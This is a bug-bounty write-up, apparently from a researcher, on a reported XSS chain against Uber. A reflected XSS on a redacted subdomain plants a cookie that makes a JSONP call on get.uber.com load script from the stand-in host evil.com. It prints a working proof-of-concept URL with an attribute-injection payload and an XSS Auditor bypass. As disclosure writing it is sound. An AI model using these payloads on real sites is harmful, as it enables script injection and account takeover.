This write up is about part of my latest XSS report to Uber@hackerone. Sorry for my poor English first of all, I will try my best to explain this XSS problem throughly.
JSONP Request
Several months ago, when enjoying my Spring Festival Holiday at home, I decided to do something interesting, so I started hunting for a bug. I like searching in the chrome dev tools. This time my lucky word was jsonp
, and my target domain was https://get.uber.com
. Let’s look at what I had found at that time.
1 | idrCall: function() { |
Nothing suspicious? Not! When came cross these lines of code, I was thinking about whether the value of this.rfiServer
could be controlled by me. If yes, we can force the browser to load arbitrary javascript file. To understand this, you should know the essence of JSONP. The next step was searching everything about rfiServer
.
After reading through these lines of code:
1 | a = this.readCookie("_rfiServer"), |
We could get the information that the initial value of this.rfiServer
was set by using value of cookie _rfiServer
if exists. Now the problem became how we can set cookie of Uber sites? But how? Here was the options in my mind at that time:
- HTTP Header CRLF Injection at any subdomain of uber.com
- XSS at any subdomain of uber.com
What? We need to find a bug to trigger another bug. And why any subdomain of uber.com?
The Feature of Cookie
Any subdomain of uber.com can set cookie with domain .uber.com
to be used across subdomains. For instance, we can set cookie in xxx.uber.com
using following code, then get.uber.com
will use the cookie value.
1 | document.cookie = '_rfiServer=evil.com;domain=.uber.com;expires=Sat, 27 Jan 2018 01:43:57 GMT;path=/' |
XSS of .uber.com which is Out of Scope
I did really find out one reflected XSS in one of Uber’s subdomain using search engine. Let’s call the domain <redacted>.uber.com
for demo.
"
is reflected and not encoded. We can inject any attribution intoinput
tag.type="text"
is after the injection point. So we can injecttype="image" src="1" onerror="alert(1)"
. Note that when there is two types, the second one will be ignored.>
is removed!!! This can be used to bypass Chrome XSS Auditor. How?o>nerror
.
Summary
- Use reflected XSS of
<redacted>.uber.com
to set the value of_rfiServer
cookie toevil.com
- Visit
get.uber.com
, JSONP request tohttps://evil.com/idr.js
, XSS ofget.uber.com
is done. The final PoC
1
2
3https://<redacted>.uber.com/<redacted>?
email=aaa"%20type%3d"image"%20src%3d1%20o>nerror%3d"eval(decodeURIComponent(location.hash.substr(1)))
#document.cookie='_rfiServer=evil.com;domain=.uber.com;expires=Sat, 27 Jan 2999 01:43:57 GMT;path=/';location.href="https://get.uber.com";Thanks for Uber. Reward: 5k